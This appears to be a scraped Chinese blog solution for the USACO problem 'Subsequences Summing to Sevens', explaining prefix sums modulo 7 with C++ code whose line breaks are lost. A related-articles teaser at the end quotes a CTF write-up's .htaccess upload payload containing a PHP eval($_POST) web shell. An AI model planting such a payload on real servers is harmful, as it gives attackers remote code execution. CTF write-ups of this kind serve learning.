P3131 [USACO16JAN] Subsequences Summing to Sevens S

难度:普及−;

题意

​ 数据范围: 1 ≤ N ≤ 50000 1 \le N \le 50000 1N50000 0 ≤ a i ≤ 1000000 0 \le a_i \le 1000000 0ai1000000

​ 给定 n n n 个数,求一段区间和是 7 7 7 的倍数,找出这一段的长度是为多少,如果不存在输出 0 0 0

分析

​ 很快就想到的是前缀和 + 暴力枚举 O ( n 2 ) O(n^2) O(n2),枚举区间的起点和终点 [ l , r ] [l,r] [l,r],并判断区间是否为 7 7 7 的倍数来查找出符合的区间长度作更新,具体代码可以看下面。期望得分是 70 70 70 pts(实际得分 68 68 68 pts,不重要)。

O ( n 2 ) O(n^2) O(n2) 做法:

#include <bits/stdc++.h>
#define ll long longconst int N = 50050;
int n, a[N], sum[N];int main()
{std::ios::sync_with_stdio(false), std::cin.tie(nullptr);std::cin >> n;for (int i = 1; i <= n; i++)std::cin >> a[i], sum[i] = sum[i - 1] + a[i];int ans = 0;for (int l = 1; l <= n; l++)for (int r = l; r <= n; r++)if (ans > (r - l + 1)) // 比答案的长度小,不可能成为答案continue;else{int s = sum[r] - sum[l - 1]; // 区间区间和if (s % 7 == 0)ans = std::max(ans, r - l + 1);}std::cout << ans << "\n";return 0;
}

优化

n=7ai
3
5
1
6
2
14
10前缀和 - 余数
3 - 3 *
8 - 1
9 - 2
15 - 1
17 - 3
31 - 3 * 
41 - 6答案序列 [5,1,6,2,14], len = 5

先按照题目的要求,对前缀和作模 7 7 7 的操作,一是加速计算区间和,二是符合题目的区间和要求。通过上述的模拟 / 数学规律得知, a ≡ b ( m o d c ) a \equiv b( mod \ c) ab(mod c) ( a − b ) ≡ 0 ( m o d c ) (a-b) \equiv 0 (mod \ c) (ab)0(mod c)

例如: a = 10 , b = 3 , c = 7 a=10,b=3,c=7 a=10,b=3,c=7 时,满足上述规律,证明起来比较简单,这里不再赘述。

具体做法,扫描余数 0 ∼ 6 0 \sim 6 06,再从序列的起点开始扫找第一个等于余数 i i i 的位置 s s s,再从序列的末尾开始扫第一个等于余数 i i i 的位置 t t t,显然 t − s t-s ts但不包含 s s s 本身)的倍数为 7 7 7 的序列,故不需要加一。

​ 下面的代码要注意, j j j 是枚举序列的符合要求的起点和终点,但如果只有一个元素的时候,答案就不正确了被 hack,正确的做法是将 j j j 每次枚举的位置从 0 0 0 开始,因为我们发现如果和整除七的一段是从头开始的,而上面也说过,和为 7 倍数的一段不包括 s,所以就没有办法统计答案从头开始的数据。

​ 怎么办呢?很简单,只需要把内层循环的 j 改成从 0 开始就可以解决从第一位开始的情况。

O ( n ) O(n) O(n),参考代码:

#include <bits/stdc++.h>
#define ll long longconst int N = 50010;
int a[N], sum[N], n;int main()
{std::ios::sync_with_stdio(false), std::cin.tie(nullptr);std::cin >> n;for (int i = 1; i <= n; i++)std::cin >> a[i], sum[i] = (sum[i - 1] + a[i]) % 7;int ans = 0;for (int i = 0; i <= 6; i++) // 遍历余数// 想头尾第一个相同的余数{int l = 0, r = 0;for (int j = 0; j <= n; j++) // 不包含 l 本身,即 ( l,r ]if (sum[j] == i){l = j;break;}for (int j = n; j >= 0; j--)if (sum[j] == i){r = j;break;}ans = std::max(ans, r - l);}std::cout << ans << '\n';return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/8616.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

npm:升级自身时报错:EBADENGINE

具体报错信息如下&#xff1a; 1.原因分析 npm和当前的node版本不兼容。 // 当前实际版本: Actual: {"npm":"10.2.4","node":"v20.11.0"}可以通过官网文档查看与自己 node 版本 兼容的是哪一版本的npm&#xff0c;相对应进行更新即可…

Excel中LOOKUP函数的使用

文章目录 VLOOKUP&#xff08;垂直查找&#xff09;&#xff1a;HLOOKUP&#xff08;水平查找&#xff09;&#xff1a;LOOKUP&#xff08;基础查找&#xff09;&#xff1a;XLOOKUP&#xff08;高级查找&#xff0c;较新版本Excel提供&#xff09;&#xff1a; 在Excel中&…

Verilog中if语句和case语句综合出的电路区别

区别是 if else 的逻辑判断有优先级&#xff0c;最内层的 if 的优先级最高&#xff0c;case 的逻辑判断是并列的。 每个 if else 综合出来的电路是一个 2 选 1 选通器。当信号有明显优先级时使用该语句&#xff0c;但是 if 嵌套太多的话会导致路径延时过大&#xff0c;降低运行…

【C语言常见概念详解】

目录 -----------------------------------------begin------------------------------------- 什么是C语言&#xff1a; 1. 基本数据类型 2. 变量与常量 3. 运算符与表达式 4. 控制结构 5. 函数 6. 指针 7. 数组与字符串 8. 结构体与联合体 9. 文件操作 结语 ----…

CE11.【C++ Cont】练习题组12(结构体专题)

目录 1.P5742【深基7.例11】评等级 题目 代码 提交结果 2.B2125 最高分数的学生姓名 题目 代码 方法1 提交结果 方法2:在方法1基础上改进 提交结果 ​编辑 方法3:先排序后选,较麻烦 提交结果 ​编辑 3.[NOIP2007 普及组] 奖学金 题目 错误代码 提交结果 调试…

开源项目Umami网站统计MySQL8.0版本Docker+Linux安装部署教程

Umami是什么&#xff1f; Umami是一个开源项目&#xff0c;简单、快速、专注用户隐私的网站统计项目。 下面来介绍如何本地安装部署Umami项目&#xff0c;进行你的网站统计接入。特别对于首次使用docker的萌新有非常好的指导、参考和帮助作用。 Umami的github和docker镜像地…

Nginx开发01:基础配置

一、下载和启动 1.下载、使用命令行启动&#xff1a;Web开发&#xff1a;web服务器-Nginx的基础介绍&#xff08;含AI文稿&#xff09;_nginx作为web服务器,可以承担哪些基本任务-CSDN博客 注意&#xff1a;我配置的端口是81 2.测试连接是否正常 访问Welcome to nginx! 如果…

20.Word:小谢-病毒知识的科普文章❗【38】

目录 题目​ NO1.2.3文档格式 NO4.5 NO6.7目录/图表目录/书目 NO8.9.10 NO11索引 NO12.13.14 每一步操作完&#xff0c;确定之后记得保存最后所有操作完记得再次删除空行 题目 NO1.2.3文档格式 样式的应用 选中应用段落段落→开始→选择→→检查→应用一个一个应用ctr…

【Python】第五弹---深入理解函数:从基础到进阶的全面解析

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】【MySQL】【Python】 目录 1、函数 1.1、函数是什么 1.2、语法格式 1.3、函数参数 1.4、函数返回值 1.5、变量作用域 1.6、函数…

从AD的原理图自动提取引脚网络的小工具

这里跟大家分享一个我自己写的小软件&#xff0c;实现从AD的原理图里自动找出网络名称和引脚的对应。存成文本方便后续做表格或是使用简单行列编辑生成引脚约束文件&#xff08;如.XDC .UCF .TCL等&#xff09;。 我们在FPGA设计中需要引脚锁定文件&#xff0c;就是指示TOP层…

MySQL--》深度解析InnoDB引擎的存储与事务机制

目录 InnoDB架构 事务原理 MVCC InnoDB架构 从MySQL5.5版本开始默认使用InnoDB存储引擎&#xff0c;它擅长进行事务处理&#xff0c;具有崩溃恢复的特性&#xff0c;在日常开发中使用非常广泛&#xff0c;其逻辑存储结构图如下所示&#xff0c; 下面是InnoDB架构图&#xf…

30289_SC65XX功能机MMI开发笔记(ums9117)

建立窗口步骤&#xff1a; 引入图片资源 放入图片 然后跑make pprj new job8 可能会有bug,宏定义 还会有开关灯报错&#xff0c;看命令行注释掉 接着把ture改成false 然后命令行new一遍&#xff0c;编译一遍没报错后 把编译器的win文件删掉&#xff0c; 再跑一遍虚拟机命令行…

深入学习Java的线程的生命周期

线程的状态/生命周期 五种状态 这是从 操作系统 层面来描述的 【初始状态】仅是在语言层面创建了线程对象&#xff0c;还未与操作系统线程关联【可运行状态】&#xff08;就绪状态&#xff09;指该线程已经被创建&#xff08;与操作系统线程关联&#xff09;&#xff0c;可以由…

three.js+WebGL踩坑经验合集(5.2):THREE.Mesh和THREE.Line2在镜像处理上的区别

本文紧接上篇&#xff1a; (5.1):THREE.Line2又一坑&#xff1a;镜像后不见了 本文将解答上篇提到的3个问题&#xff0c;首先回答第二个问题&#xff0c;如何获取全局的缩放值。 scaleWorld这个玩意儿呢&#xff0c;three.js官方就没提供了。应该说&#xff0c;一般的渲染引…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

将5分钟安装Thingsboard 脚本升级到 3.9

稍微花了一点时间&#xff0c;将5分钟安装Thingsboard 脚本升级到最新版本 3.9。 [rootlab5 work]# cat one-thingsboard.shell echo "test on RHEL 8.10 " source /work/java/install-java.shell source /work/thingsboard/thingsboard-rpm.shell source /work/po…

在做题中学习(81):替换后的重复字符

解法&#xff1a;同向双指针————>滑动窗口 原因&#xff1a; 题目要求返回一个包含相同字母的最长字串&#xff0c;那就在数组中遍历找到&#xff0c;而又因为在暴力枚举时&#xff0c;会出现重复的情况&#xff0c;例如&#xff1a;在枚举以2为下标的子串时&…

67-《蓝金花》

蓝金花 蓝金花&#xff0c;又名蓝鲸花。是属于玄参科植物&#xff0c;分布于巴西。株高50&#xff5e;90公分&#xff0c;叶对生&#xff0c;长椭圆形&#xff0c;先端锐&#xff0c;细锯齿缘。春至秋季开花&#xff0c;腋生&#xff0c;花冠长管状&#xff0c;花瓣蓝紫色&…

AI 相机软件算法密码

你想过用生活中随手一拍的照片塑造不同风格的自己吗&#xff1f;从古风大片到田园乡村&#xff0c;各种风格随意拿捏&#xff0c;或者从旅游宝地一秒闪回办公地点...... 这些之前存在于头脑中的概念&#xff0c;现在已成为现实走进了我们的生活&#xff01; 【图片来源于网络&…

互联网概述

互联网 是什么 网络与网络之间所串连成的庞大网络&#xff0c;这些网络以一组通用的协议相连&#xff0c;形成逻辑上的单一巨大国际网络。 有什么用 计算机网络&#xff1a;有许多计算机组成&#xff0c;要实现计算机之间的数据传输 数据传输目的地址 保证数据迅速可靠传输…